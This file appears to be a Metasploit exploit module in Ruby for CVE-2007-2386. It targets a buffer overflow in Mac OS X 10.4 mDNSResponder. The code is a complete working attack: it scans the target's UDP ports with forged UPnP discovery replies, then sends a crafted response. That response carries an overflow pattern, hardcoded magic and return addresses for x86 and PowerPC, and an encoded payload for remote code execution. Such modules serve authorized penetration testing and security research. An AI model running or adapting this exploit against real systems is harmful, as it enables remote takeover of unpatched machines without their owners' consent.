##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow that occurs when processing
        specially crafted requests set to mDNSResponder. All Mac OS X systems
        between version 10.4 and 10.4.9 (without the 2007-005 patch) are
        affected.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'ddz'
        ],
      'References'     =>
        [
          [ 'OSVDB', '35142' ],
          [ 'CVE', '2007-2386' ],
          [ 'BID', '24144' ],
          [ 'URL', 'http://support.apple.com/kb/TA24732' ]
        ],
      'DefaultOptions' =>
        {
          'SRVPORT' => 1900,
          'RPORT' => 0
        },
      'Payload' =>
        {
          'BadChars' => "\x00\x3a\x2f",
          'StackAdjustment' => 0,
          'Space' => 468
        },
      'Platform' => 'osx',
      'Targets' =>
        [
          [ '10.4.8 x86',
            { # mDNSResponder-108.2
              'Arch'                   => ARCH_X86,
              # Offset to mDNSStorage structure
              'Offset'                 => 21000,
              'Magic'                  => 0x8fe510a0,
              'g_szRouterHostPortDesc' => 0x53dc0,
            }
          ],
          [ '10.4.0 PPC',
            { # mDNSResponder-107
              'Arch'    => ARCH_PPC,
              'Offset'  => 21000,
              'Magic'   => 0x8fe51f4c,
              'Ret'     => 0x8fe41af8,
            }
          ]
        ],
      'DisclosureDate' => 'May 25 2007',
      'DefaultTarget' => 1))

    register_options(
      [
        Opt::LHOST(),
        OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
      ])

    @mutex = Mutex.new()
    @found_upnp_port = false
    @key_to_port = Hash.new()
    @upnp_port = 0
    @client_socket = nil
  end

  def check
    #
    # TODO: Listen on two service ports, one a single character
    # shorter than the other (i.e 1900 and 19000).  If the copy was
    # truncated by strlcpy, it will connect to the service listening
    # on the shorter port number.
    #
    upnp_port = scan_for_upnp_port()
    if (upnp_port > 0)
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unsupported
    end
  end

  def upnp_server(server)
    client = server.accept()
    request = client.readline()
    if (request =~ /GET \/([\da-f]+).xml/)
      @mutex.synchronize {
        @found_upnp_port = true
        @upnp_port = @key_to_port[$1]

        # Important: Keep the client connection open
        @client_socket = client
      }
    end
  end

  def scan_for_upnp_port
    @upnp_port = 0
    @found_upnp_port = false

    upnp_port = 0

    # XXX: Do this in a more Metasploit-y way
    server = TCPServer.open(1900)
    server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }

    begin
      socket = Rex::Socket.create_udp

      upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'].to_s

      print_status("Listening for UPNP requests on: #{upnp_location}")
      print_status("Sending UPNP Discovery replies...")

      i = 49152;
      while i < 65536 && @mutex.synchronize {
        @found_upnp_port == false
      }
      key = sprintf("%.2x%.2x%.2x%.2x%.2x",
        rand(255), rand(255), rand(255), rand(255), rand(255))

      @mutex.synchronize {
        @key_to_port[key] = i
      }

      upnp_reply = "HTTP/1.1 200 Ok\r\n" +
        "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
        "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
        "Location: #{upnp_location}/#{key}.xml\r\n\r\n"

      socket.sendto(upnp_reply, datastore['RHOST'], i)

      i += 1
    end

    @mutex.synchronize {
      if (@found_upnp_port)
        upnp_port = @upnp_port
      end
    }
    ensure
      server.close
      server_thread.join
    end

    return upnp_port
  end

  def exploit
    #
    # It is very important that we scan for the upnp port.  We must
    # receive the TCP connection and hold it open, otherwise the
    # code path that uses the overwritten function pointer most
    # likely won't be used.  Holding this connection increases the
    # chance that the code path will be used dramatically.
    #
    upnp_port = scan_for_upnp_port()

    if upnp_port == 0
      fail_with(Failure::Unreachable, "Could not find listening UPNP UDP socket")
    end

    datastore['RPORT'] = upnp_port

    socket = connect_udp()

    if (target['Arch'] == ARCH_X86)
      space = "A" * target['Offset']
      space[0, payload.encoded.length] = payload.encoded

      pattern = Rex::Text.pattern_create(47)
      pattern[20, 4] = [target['Magic']].pack('V')
      pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]

      boom = space + pattern
      usn = ""

    elsif (target['Arch'] == ARCH_PPC)
      space = "A" * target['Offset']

      pattern = Rex::Text.pattern_create(48)
      pattern[20, 4] = [target['Magic']].pack('N')

      #
      # r26, r27, r30, r31 point to g_szUSN+556
      # Ret should be a branch to one of these registers
      # And we make sure to put our payload in the USN header
      #
      pattern[44, 4] = [target['Ret']].pack('N')

      boom = space + pattern

      #
      # Start payload at offset 556 within USN
      #
      usn = "A" * 556 + payload.encoded
    end

    upnp_reply = "HTTP/1.1 200 Ok\r\n" +
      "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
      "USN: #{usn}\r\n" +
      "Location: http://#{boom}\r\n\r\n"

    print_status("Sending evil UPNP response")
    socket.put(upnp_reply)

    print_status("Sleeping to give mDNSDaemonIdle() a chance to run")
    select(nil,nil,nil,10)

    handler()
    disconnect_udp()
  end
end
